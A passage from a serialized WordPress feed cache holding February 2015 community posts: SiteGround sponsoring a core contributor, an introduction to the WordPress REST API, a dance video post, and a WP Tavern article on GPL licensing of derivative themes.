us after we had personally met her, was that she is not just a capable WordPress developer, but she is also a great fit for our company culture,&#8221; Kesova said. &#8220;She has the same passion for quality and efficiency that drives SiteGround.&#8221;</p>\n<h3>What does a full-time WordPress core contributor do?</h3>\n<p>SiteGround isn&#8217;t the first hosting company to sponsor an employee&#8217;s time for working on the WordPress project. WP Engine, Dreamhost, and a handful of others have been doing so for the past several years. The job varies, depending on the amount of time the company can lend and the contributor&#8217;s areas of specialty and interest.</p>\n<p>&#8220;As part of the SiteGround team Iseulde will be working full time contributing to WordPress core and helping with some maintenance tasks,&#8221; Kesova said. &#8220;She has some great ideas about improvements in the WordPress backend, including the editor and the media manager, and she will be also doing some support work for WordPress by reviewing and closing tickets and patches.&#8221;</p>\n<p>Van Dorpe, originally from Belgium, will be working remotely from her current home in Glasgow, Scotland. SiteGround&#8217;s main headquarters are in Sofia, Bulgaria, but it also has two offices in Bulgaria and one in Spain. The company is in the process of hiring its first American employee and plans to open an office in the USA soon.</p>\n<p>&#8220;As a web hosting company, we are aware of the big significance open source projects like WordPress have for our business, by helping people build their websites on top of the hosting service we provide,&#8221; Kesova said. &#8220;That is why we believe it is our duty to support such projects in a meaningful way that can help further their development.&#8221;</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Thu, 12 Feb 2015 18:55:50 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:11;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:35:\"Post Status: The WordPress REST API\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:30:\"https://poststatus.com/?p=8643\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:47:\"https://poststatus.com/wordpress-json-rest-api/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:22527:\"<p>The WordPress REST API project is the most exciting project for the platform since custom post types were introduced in WordPress 2.9 and 3.0. I really believe that.</p>\n<p>While the project is under a major rewrite and not yet slated for a specific core release, it can be really confusing to figure out what&#8217;s going on.</p>\n<p>Let&#8217;s talk about what the new API is, why it matters, and go over the state of the API to answer some common questions I&#8217;ve seen.</p>\n<h3>What is a JSON REST API?</h3>\n<p>Let&#8217;s start by defining the acronyms. It may seem tedious for experienced developers, but it&#8217;s a good way to get us in the right mindset.</p>\n<h4>API: Application Program Interface</h4>\n<p>APIs have a broad definition. Any program is an API. When you have some form of construct in a programming language &#8212; like PHP for example &#8212; where the construct makes it possible to perform a programming task, that&#8217;s a good way to think of an API.</p>\n<p>Let&#8217;s use custom post types as an example. WordPress has a custom post types API. Really, it&#8217;s just a significant chunk of code that makes previously difficult tasks simpler. Now, you can create all new types of content &#8212; that mimic the content structure for posts and pages &#8212; with just a few lines of code.</p>\n<p>The core team created a programming interface to make that possible. That&#8217;s a layman&#8217;s definition for an API.</p>\n<h4>JSON: JavaScript Object Notation</h4>\n<p>JSON is a preferred format for structuring data so that a variety of applications can read it. You can create JSON formatted data from one programming language and read and process it from another. It&#8217;s similar to XML, but seemingly universally preferred over XML.</p>\n<p>JSON makes communication between something like WordPress and something like a mobile app completely possible, as JSON is a common data format between them, so that you can create data on the WordPress side and return it in JSON, so that the data can be easily read on the mobile app side. Such relationships don&#8217;t have to be between WordPress and a mobile app; it could be nearly anything, meaning &#8220;WordPress as an app platform&#8221; becomes much more realistic.</p>\n<div id=\"attachment_8687\" class=\"wp-caption aligncenter\"><img class=\"size-large wp-image-8687\" src=\"https://poststatus.com/wp-content/uploads/2015/02/json-api-data-752x460.jpg\" alt=\"A JSON blurb, at least how it looks when you go straight to the URL\" width=\"752\" height=\"460\" /><p class=\"wp-caption-text\">A JSON blurb, at least how it looks when you go straight to the URL</p></div>\n<p>JSON looks terrifying if you see it &#8220;raw&#8221;. For instance, Post Status has the WordPress REST API enabled, so if you go to <a href=\"https://poststatus.com/wp-json/posts\">https://poststatus.com/wp-json/posts</a> you can see my recent posts in a JSON format. This isn&#8217;t pretty to the human eye, but for a programming language, it&#8217;s beautiful.</p>\n<h4>REST: Representational State Transfer</h4>\n<p>A REST API is an architectural preference. Most REST APIs, including WordPress&#8217;, are based on HTTP. This means that the primary actions of the REST API are HTTP actions: <code>POST</code>, <code>GET</code>, <code>PUT</code>, <code>DELETE</code>.</p>\n<p>So, with a REST API, we are reading or manipulating data using HTTP.</p>\n<p>Wikipedia kindly defines RESTful APIs better than I can, namely with a definition based upon the restraints on the API itself:</p>\n<blockquote><p>Web service APIs that adhere to the <a href=\"http://en.wikipedia.org/wiki/Representational_state_transfer#Architectural_constraints\">REST architectural constraints</a> are called RESTful. HTTP based RESTful APIs are defined with these aspects:</p>\n<ul>\n<li>base <a class=\"mw-redirect\" title=\"URI\" href=\"http://en.wikipedia.org/wiki/URI\">URI</a>, such as <code>http://example.com/resources/</code></li>\n<li>an <a title=\"Internet media type\" href=\"http://en.wikipedia.org/wiki/Internet_media_type\">Internet media type</a> for the data. This is often <a title=\"JSON\" href=\"http://en.wikipedia.org/wiki/JSON\">JSON</a> but can be any other valid Internet media type (e.g. XML, Atom, microformats, images, etc.)</li>\n<li>standard <a class=\"mw-redirect\" title=\"HTTP method\" href=\"http://en.wikipedia.org/wiki/HTTP_method\">HTTP methods</a> (e.g., GET, PUT, POST, or DELETE)</li>\n<li>hypertext links to reference state</li>\n<li>hypertext links to reference related resources<sup id=\"cite_ref-8\" class=\"reference\"><a href=\"http://en.wikipedia.org/wiki/Representational_state_transfer#cite_note-8\">[8]</a></sup></li>\n</ul>\n</blockquote>\n<p>These restrictions serve as standards that anyone working with a RESTful API can expect to exist. So, in my case, I&#8217;m utilizing both the WP API and the Mailchimp API on Post Status. Interacting with either feels similar, because they&#8217;ve placed similar constraints on themselves.</p>\n<h3>What is the WordPress REST API?</h3>\n<p>Now we know what a JSON REST API is, so we can better define what the WordPress one is.</p>\n<p><span class=\"pullquote alignright\">The WordPress REST API is a common data and programming interface that abstracts the reading and writing of information for WordPress from the WordPress application as we&#8217;ve previously known it.</span> Now, developers working with WordPress don&#8217;t have to know that much about WordPress.</p>\n<h3>How can the WordPress REST API be used?</h3>\n<p>Developers will be able to perform nearly all the data manipulation and data reading functions that are possible with PHP, with the new API. What&#8217;s that mean? It means everything.</p>\n<h4>Ditching WordPress on the front-end</h4>\n<p>With the JSON API, the frontend of WordPress doesn&#8217;t have to be WordPress at all. For example, developers can completely bypass the WordPress templating engine using the API. They can even keep the backend of WordPress and the front-end of the website on completely different server stacks, because they just need to read the data using the API.</p>\n<p>There are already many websites doing this around the web. Some of them use custom APIs they built themselves, and others are using the new WordPress REST API. Let&#8217;s discuss a couple of examples:</p>\n<ol>\n<li>The New York Times uses the WordPress REST API for a variety of things. They are able to use the API in combination with their proprietary CMS. This allows them to pull WordPress data for placement on the Times&#8217; homepage and other places very easily. They&#8217;re also using the REST API for their live event coverage, like this <a href=\"http://elections.nytimes.com/2014/liveblog\">elections live blog</a>.</li>\n<li><a href=\"http://www.bloomberg.com/politics/\">Bloomberg Politics</a> uses WordPress to publish, but based on the front-end of the website, you&#8217;d never know it. I don&#8217;t think they&#8217;re using the official WordPress REST API, but they could.</li>\n<li><a href=\"http://mashable.com/\">Mashable</a> uses WordPress to publish, but their front-end is not WordPress at all. This is also a custom implementation, as they made the switch before the official REST API was even underway.</li>\n</ol>\n<p>These are three examples of news sites using REST APIs for the front-end. But the applications go much, much farther than that.</p>\n<h4>WordPress as an application</h4>\n<p>If you want to see a prime case study, watch K. Adam White&#8217;s presentation from WordCamp San Francisco 2014, where he talks about <a href=\"http://wordpress.tv/2014/11/03/k-adam-white-wordpress-in-weird-places-content-management-for-node-using-rest/\">how his team used WordPress as the CMS for a node.js app</a>. This really highlights the potential I&#8217;m talking about.</p>\n<p>Looking through the resulting <a href=\"https://github.com/kadamwhite/expresspress\">ExpressPress repo</a> that K. Adam highlights in his presentation is an educational and fascinating experience.</p>\n<h4>Custom WordPress admins</h4>\n<p>WordPress administration doesn&#8217;t have to use the WordPress admin as we know it. With the REST API, you can create, edit, and delete content just as well as you can read it.</p>\n<p>Eventually, the WordPress admin itself may be re-written on top of the REST API. Using the API, creating completely custom administration panels will be easier than ever before. This will allow developers to create catered administration experiences for a particular application.</p>\n<div id=\"attachment_8686\" class=\"wp-caption aligncenter\"><img class=\"size-large wp-image-8686\" src=\"https://poststatus.com/wp-content/uploads/2015/02/json-api-wpcom-post-editor-752x561.jpg\" alt=\"The WordPress.com editor\" width=\"752\" height=\"561\" /><p class=\"wp-caption-text\">The WordPress.com editor</p></div>\n<p>For example, WordPress.com has already utilized their own REST API (which will hopefully be a similar implementation to the core API once it&#8217;s included) to create a custom admin experience for their blogging platform.</p>\n<div id=\"attachment_8685\" class=\"wp-caption aligncenter\"><img class=\"size-large wp-image-8685\" src=\"https://poststatus.com/wp-content/uploads/2015/02/wp-api-happy-tables-752x490.jpg\" alt=\"The Happy Tables editor\" width=\"752\" height=\"490\" /><p class=\"wp-caption-text\">The Happy Tables editor</p></div>\n<p>Other services, like <a href=\"http://happytables.com\">Happy Tables</a> for instance, have also created custom WordPress admins. Doing this in the future will be easier than ever because the REST API integrates existing WordPress functionality to the API, so that developers don&#8217;t have to reinvent the wheel.</p>\n<h4>App integrations</h4>\n<p>Additionally to custom web integrations, WordPress will be able to talk to apps easier than ever before as well.</p>\n<p>Previous apps that interfaced with WordPress would most often use XML-RPC. With the REST API, the ability to perform complex functions in a reliable manner is increased. It will be simpler than ever to create a mobile app that can not only read WordPress data, but also  create, edit, and delete that data.</p>\n<p>The entire mobile app can be written in Objective-C, Swift, or whatever programming language, and interface with WordPress.</p>\n<p>An example of this in action is <a href=\"http://apppresser.com/\">AppPresser</a> (<a title=\"AppPresser: A foundation for using WordPress to make mobile apps\" href=\"https://poststatus.com/appresser-wordpress-mobile-apps/\">which I covered</a> when it launched). AppPresser has created an application framework that integrates with the WordPress REST API to make creating WordPress apps for individual sites quite simple.</p>\n<p>But it&#8217;s not limited to app creation with a tool like AppPresser. People can now have one data-storage area (WordPress) that can power both the website and an app, and that is a powerful feature. Also, the apps can talk to and write to the WordPress database directly through the API.</p>\n<p>We will see dozens of WordPress apps and admin integrations over the next few years. We could even see whole startups build apps with WordPress as a base layer.</p>\n<p><span class=\"pullquote alignright\">WordPress can provide an excellent foundation for user management, content management, and much more &#8212; reducing the amount of work a startup creating a prototype mobile application have to recreate themselves.</span> The REST API makes it so a mobile app can look completely custom and also use a tool as widely distributed as WordPress to power many of the internals.</p>\n<h3>When is the WordPress REST API going to be in core?</h3>\n<p>The REST API is under heavy development, and is also between major versions that will sever backward compatibility. That has made the state of the API confusing.</p>\n<p>The REST API hasn&#8217;t been slated for a particular release, though it is officially active <a href=\"https://make.wordpress.org/core/features-as-plugins/\">for the &#8220;feature as plugin&#8221;</a> model. The goal is for it to hit core some time in 2015, so probably between WordPress 4.3 and 4.5. I&#8217;d guess closer to 4.5, as there will need to be a lot of testing once the new stable version comes out.</p>\n<h3>Keeping up with development</h3>\n<p>If you want to keep track of the WordPress REST API development, there are a variety of ways to do so, though finding the proper channels can be a challenge at the moment.</p>\n<p>First off, know that a major new version is being finalized as we speak, so there is disparity between 1.1.x and the upcoming version for information, code, and documentation. The version under development &#8212; and is a significant restructuring &#8212; has been under development for nearly seven months.</p>\n<p>The <a href=\"https://wordpress.org/plugins/json-rest-api/\">WordPress.org official plugin page</a> is somewhat closely synchronized with the latest 1.x release, though it is a few commits behind. The plugin is authored by Ryan McCue, who is the project lead and the initial author of the plugin, as it was his Google Summer of Code project for the first iteration. The WordPress.org page could also use some updating to make it more obvious that it&#8217;s the official REST API plugin for the WordPress project.</p>\n<p>The <a href=\"https://github.com/WP-API/WP-API\">WP API Github</a> is where active issue tracking, version management, and releases are being handled. The API has its own account on Github, rather than being a part of the WordPress account, as there are adjacent repos to the actual API and it wasn&#8217;t originally guaranteed to be in core.</p>\n<p>The key to understanding the various states of the WP REST API is to think in terms of <strong>Develop</strong>, <strong>Master</strong>, and <strong>Stable</strong> versions.</p>\n<ul>\n<li><a href=\"https://wordpress.org/plugins/json-rest-api/\">WordPress.org plugin repository</a> is the Stable version of the WP API.</li>\n<li><a href=\"https://github.com/WP-API/WP-API/tree/master\">Github Master branch</a> is where a Beta version of the next release is managed.</li>\n<li><a href=\"https://github.com/WP-API/WP-API/tree/develop\">Github Develop branch</a> is where the active development occurs.</li>\n</ul>\n<p><strong>If you&#8217;re using the WordPress REST API in production, you should use the WordPress.org version only</strong>. The Github Master and Development versions should be used for development and testing only.</p>\n<h3>Improvements coming in the rewrite</h3>\n<p>The long development cycle for the new version of the REST API is because it&#8217;s a signifcant rewrite for the project.</p>\n<p>Based on feedback and real-world use cases, the team was able to identify necessary improvements that needed to happen.</p>\n<p>There have been many, many changes in this version, but a couple of big ones are as follows:</p>\n<ul>\n<li>New functions have been added to allow for registration of custom endpoints with namespaces and versions. Rachel Baker <a href=\"https://gist.github.com/krogsgard/c3975a2ff449f20e56f3\">shared this gist with me</a> that showcases that. This means themes and plugins will be able to add to and extend the API, offering significantly more power to it.</li>\n<li>Comment creation and edit handling have been added in the rewrite.</li>\n<li>The team has also started work on support for options endpoints to be able to view, edit, and create general site options, which would make complete site management possible with the API, in addition to content management.</li>\n</ul>\n<p>The changes in the current development cycle have taken a long time, and have required some significant architectural changes, but are very much worth the long term benefits.</p>\n<h3>Contributors to the WordPress REST API</h3>\n<p>There have been <a href=\"https://github.com/WP-API/WP-API/graphs/contributors\">49 code contributors</a> to the REST API project on Github. It&#8217;s already a huge community effort. However, there are some folks that are really driving the project forward.</p>\n<p><img class=\"aligncenter size-large wp-image-8684\" src=\"https://poststatus.com/wp-content/uploads/2015/02/wp-api-contributors-752x484.png\" alt=\"wp-api-contributors\" width=\"752\" height=\"484\" /></p>\n<ul>\n<li><a href=\"https://twitter.com/rmccue\">Ryan McCue</a>: Ryan is the overall project lead, and is generally steering the ship. This all started as his GSoC (Google Summer of Code) project and he is still the lead. He works for <a href=\"http://hmn.md/\">Human Made</a>, primarily on Happy Tables.</li>\n<li><a href=\"https://twitter.com/rachelbaker\">Rachel Baker</a>: Rachel is a project lead, and is doing a great deal of development, as well as education and evangelism. She works for <a href=\"http://10up.com\">10up</a> as a Senior Web Engineer.</li>\n<li><a href=\"https://twitter.com/danielbachhuber\">Daniel Bachhuber</a>: Daniel is in day to day conversations and also commits a lot of code to the project. He works for himself and is the interim engineering director at <a href=\"http://fusion.net/\">Fusion</a>.</li>\n<li><a href=\"https://twitter.com/joe_hoyle\">Joe Hoyle</a>: Joe is in day to day conversations and also commits a lot of code to the project. He is a co-founder of <a href=\"http://hmn.md/\">Human Made</a>.</li>\n</ul>\n<p>Though I highlight these four contributors, but there are a whopping 400 people watching the #core-restapi channel in Slack, and there are 49 code contributors on Github. Everyone deserves a huge round of applause that&#8217;s taken part in the strategic, code, education aspects of this project.</p>\n<p>And this is all before it goes into the core development cycle. Once this gets slated for a specific release, it&#8217;s going to get an insane amount of attention to make sure it&#8217;s ready for prime time and the millions of WordPress installs out there.</p>\n<h3>Meetings and blogs for the REST API</h3>\n<p>The REST API has a standing channel and weekly meeting in WordPress Slack, as well as two blogs you can keep track of:</p>\n<ul>\n<li>#core-restapi on WordPress Slack is where day to day communication occurs, and a feed of commit activity also goes into that channel. The weekly meeting is also here &#8212; and is actually held twice per week &#8212; at 23:00 UTC on Mondays and Wednesdays.</li>\n<li>The <a href=\"https://make.wordpress.org/core/tag/json-api/\">json-api tag on Make WordPress Core</a> is where blog posts about the API go. However, this has been rarely used, and is primarily just for release information.</li>\n<li>Frequent meeting notes and other discussions are posted on <a href=\"http://make.wp-api.org/\">make.wp-api.org</a>, which is an 02 blog (P2&#8217;s mysterious successor).</li>\n<li>Documentation can be viewed on <a href=\"http://wp-api.org\">wp-api.org</a>. It&#8217;s important to keep in mind that <strong>the docs on the main website are for the stable WordPress plugin</strong>, not the Develop branch.</li>\n</ul>\n<h3>Basics for using the WordPress REST API</h3>\n<p>The new API will make sense to people familiar with other REST APIs. However, if you are new to such things, even with the documentation you can easily get lost. I know I did.</p>\n<p>I will have a lot more resources for members soon, but I&#8217;ll try and give a quick intro to reading data now.</p>\n<p>The first thing to remember is that it&#8217;s very important to know if you will be reading data only or reading and changing data. If you are reading data from your own website, and using it on the same website, you don&#8217;t need to worry about authentication. If you are changing, adding, or deleting data, then you need to authenticate with the website you are making changes to.</p>\n<p>Let&#8217;s show a few simple examples of reading data with <code>GET</code>.</p>\n<p>A URL to pull content from Post Status would look like this:</p>\n<a href=\"https://gist.github.com/c983960972582c6ec2c0\" target=\"_blank\"><em>View this code snippet on GitHub.</em></a>\n<p>To pull content with <code>WP_Query</code> parameters you&#8217;re used to, you could do it like this:</p>\n<a href=\"https://gist.github.com/c983960972582c6ec2c0\" target=\"_blank\"><em>View this code snippet on GitHub.</em></a>\n<p>To pull content of a custom post type, you can do it like this:</p>\n<a href=\"https://gist.github.com/c983960972582c6ec2c0\" target=\"_blank\"><em>View this code snippet on GitHub.</em></a>\n<p>And to pull content of a custom post type with those same <code>WP_Query</code> parameters, it looks like this:</p>\n<a href=\"https://gist.github.com/c983960972582c6ec2c0\" target=\"_blank\"><em>View this code snippet on GitHub.</em></a>\n<p>What you see returned in those URLs is the JSON data we&#8217;re going after. Go ahead and put one of those URLs in a browser tab to see the return data.</p>\n<p>You can see how the method for grabbing that data feels familiar to using <code>WP_Query</code> for a standard WordPress loop. If you don&#8217;t specify a parameter, the defaults to <code>WP_Query</code> will be used.</p>\n<p>These URLs return that data, but obviously you&#8217;ll want to get that data programatically. You can do this within a WordPress install (or outside) with two common methods: PHP or AJAX.</p>\n<p>Handling the data will be similar to handling any other JSON data. I&#8217;ll have more on doing this with WordPress at a later date, but in the meantime you may enjoy <a href=\"http://torquemag.io/introduction-wordpress-new-universal-connector-json-rest-api/\">Josh Pollock&#8217;s introduction</a> to using the REST API.</p>\n<p>Now, of course, you can query far more than posts, as the <a href=\"http://wp-api.org\">WP API website</a> notes, but I just wanted to introduce the concepts.</p>\n<p>The API allows you to manage pretty much anything: posts, pages, custom post types, users, media, taxonomies, or even overall site data.</p>\n<h3>This is just the beginning</h3>\n<p>Unfortunately, I&#8217;ve hardly given a proper introduction to actually using the new WordPress REST API. That will have to wait until another time. That said, you should know have a pretty good understanding of what this project is, what it means for WordPress, and where to go to get started with the new API.</p>\n<p>I highly encourage you to educate yourself on this API, as well as experiment with it. You can use the Stable branch in production projects (like I do here on Post Status), but it would be really great to get more people testing and using the API in general so that when it ships with WordPress it will be as good as it can be.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Wed, 11 Feb 2015 22:31:23 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:15:\"Brian Krogsgard\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:12;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:19:\"Matt: Amazing Dance\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:21:\"http://ma.tt/?p=44669\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:35:\"http://ma.tt/2015/02/amazing-dance/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:183:\"<p></p>\n<p>Incredible music (&#8220;Take Me To Church&#8221; by Hozier), incredible artist (the dancer, Sergei Polunin), and incredible photographer / director (David LaChapelle).</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Wed, 11 Feb 2015 19:08:35 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:4:\"Matt\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:13;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:58:\"WPTavern: Tackling the Issue of WordPress Derivative Works\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38822\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:68:\"http://wptavern.com/tackling-the-issue-of-wordpress-derivative-works\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:6882:\"<a href=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2014/06/GPLFeaturedImage.png\" rel=\"prettyphoto[38822]\"><img class=\"size-full wp-image-24825\" src=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2014/06/GPLFeaturedImage.png?resize=639%2C200\" alt=\"GPL License Plate Featured Image\" /></a>photo credit: <a href=\"http://www.flickr.com/photos/benfrantzdale/170212544/\">BenFrantzDale</a> &#8211; <a href=\"http://creativecommons.org/licenses/by-nc-sa/2.0/\">cc</a>\n<p>In 2009-10, there <a title=\"http://wordpress.tv/2010/07/15/mixergy-interview-pearson-mullenweg/\" href=\"http://wordpress.tv/2010/07/15/mixergy-interview-pearson-mullenweg/\">was an intense debate</a> between the co-creator of WordPress, Matt Mullenweg, and the founder of DIY Themes, Chris Pearson. The debate centered on whether or not Thesis needed to be 100% GPL licensed. Thesis lifted lines of code from the core of WordPress, which <a title=\"https://markjaquith.wordpress.com/2010/07/17/why-wordpress-themes-are-derivative-of-wordpress/\" href=\"https://markjaquith.wordpress.com/2010/07/17/why-wordpress-themes-are-derivative-of-wordpress/\">some people claimed</a> made Thesis a derivative of WordPress. Pearson disagreed with the assessment which lead Mullenweg to insinuate <a title=\"http://thenextweb.com/socialmedia/2010/07/14/wordpress-and-thesis-go-to-battle-mullenweg-may-sue/\" href=\"http://thenextweb.com/socialmedia/2010/07/14/wordpress-and-thesis-go-to-battle-mullenweg-may-sue/\">he would take the matter to court</a>.</p>\n<p>Five years after that memorable debate, Richard Best of WP and Legal Stuff, <a title=\"http://wpandlegalstuff.com/wordpress-themes-gpl-conundrum-derivative-works/\" href=\"http://wpandlegalstuff.com/wordpress-themes-gpl-conundrum-derivative-works/\">has published a thorough analysis</a> of WordPress themes, the GPL license, and what is a derivative work. His post is a breath of fresh air and the best I&#8217;ve read so far on the subject. Best doesn&#8217;t sell themes or plugins in the WordPress ecosystem giving him a neutral position to discuss the matter. He also has a legal background, but does not offer legal advice through his site.</p>\n<p>Determining what defines a derivative work is complex, but according to Best, no one truly knows the answer to the question:</p>\n<blockquote><p>The reason we don’t truly know the answer is that the courts haven’t decided a case that is squarely on point (there are potentially analogous cases, of course, but – as far as I’m aware – no GPL or similar case directly on point).  It is only the courts (in the absence of legislative intervention) that can finally determine the matter.</p>\n<p>Courts might apply what some might say are orthodox notions of what it means for something to be a derivative work or they might incrementally (some might say dangerously) develop the law on this point but we just don’t know. And even if the courts of one country made a definitive ruling on the point, courts in other countries – where other lawsuits might be commenced – could decide differently. As a result, uncertainty remains.</p></blockquote>\n<p>The debate against Thesis never went to court, but it spawned several conversations throughout the WordPress community, <a title=\"http://www.chipbennett.net/2010/07/20/wordpress-themes-gpl-and-copyright-case-law/\" href=\"http://www.chipbennett.net/2010/07/20/wordpress-themes-gpl-and-copyright-case-law/\"> like this one from Chip Bennett</a>. This is why <a title=\"http://thenextweb.com/socialmedia/2010/07/14/wordpress-and-thesis-go-to-battle-mullenweg-may-sue/#comment-1584821297\" href=\"http://thenextweb.com/socialmedia/2010/07/14/wordpress-and-thesis-go-to-battle-mullenweg-may-sue/#comment-1584821297\">some people</a> rallied for a court case to settle the matter once and for all. As far as WordPress is concerned, I think it&#8217;s unlikely a court case will ever take place.</p>\n<h2>Influence Instead of Lawyers</h2>\n<p>Mullenweg has other ways of influencing people to license their WordPress products 100% GPL which doesn&#8217;t require a lawyer. A good example is <a title=\"http://designcrumbs.com/automatically-blackballed\" href=\"http://designcrumbs.com/automatically-blackballed\">when Jake Caputo was banned</a> from speaking or participating at WordCamps because he didn&#8217;t license his themes 100% GPL on ThemeForest.</p>\n<p>After going back and forth in <a title=\"http://marketblog.envato.com/news/survey-results-about-gpl-opt-in-choice/\" href=\"http://marketblog.envato.com/news/survey-results-about-gpl-opt-in-choice/\">public debates</a>, ThemeForest <a title=\"http://marketblog.envato.com/general/100-gpl-option-now-available-plus-woothemes-arrives/\" href=\"http://marketblog.envato.com/general/100-gpl-option-now-available-plus-woothemes-arrives/\">eventually added the ability</a> for authors to choose between split-license and 100% GPL. After changing the license on all of his products to 100% GPL, Caputo was allowed to speak at WordCamps again. It&#8217;s this type of influence that prevents arguments from reaching the court system.</p>\n<h2>Only a Court Can Decide</h2>\n<p>There aren&#8217;t many posts these days debating the merits of GPL and WordPress. Best does a great job explaining why (emphasis mine):</p>\n<blockquote><p>I think the GPL/theme debate has reached the stage where it’s fair to say that a significant proportion of the WordPress community now frowns upon premium theme providers who either don’t GPL-license at all or (probably to a lesser extent) split-license their themes. That might not be good for business and that, for some, may be the bottom line.</p>\n<p>For some people, this frowning may be caused by a particular view of what the GPL requires <em>but</em> for others – and I think this is a particularly important point – it may be caused by a recognition of the enormous opportunities that WordPress makes possible and the open source spirit and generosity that pervades much of the WordPress community. <strong>I think we’ve reached the stage where, for some people, this is more about a community norm than it is about a strict reading of the GPL </strong>(not to mention the tedium of listening to more and more competing GPL arguments when, ultimately, only a court can decide).</p></blockquote>\n<p>If a debate like the one in 2010 were to happen again, I think we&#8217;d see a huge outcry from every corner of the community for a court case to settle the matter. After all, without that, everything else is a moot point, right? If you sell commercial WordPress themes and plugins, I highly encourage you to read his post. Also read his thoughts on a somewhat related topic, the <a title=\"http://wpandlegalstuff.com/gpl-assumptions-automatic-inheritance/\" href=\"http://wpandlegalstuff.com/gpl-assumptions-automatic-inheritance/\">assumptions of GPL and automatic inheritance</a>.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Wed, 11 Feb 2015 00:37:31 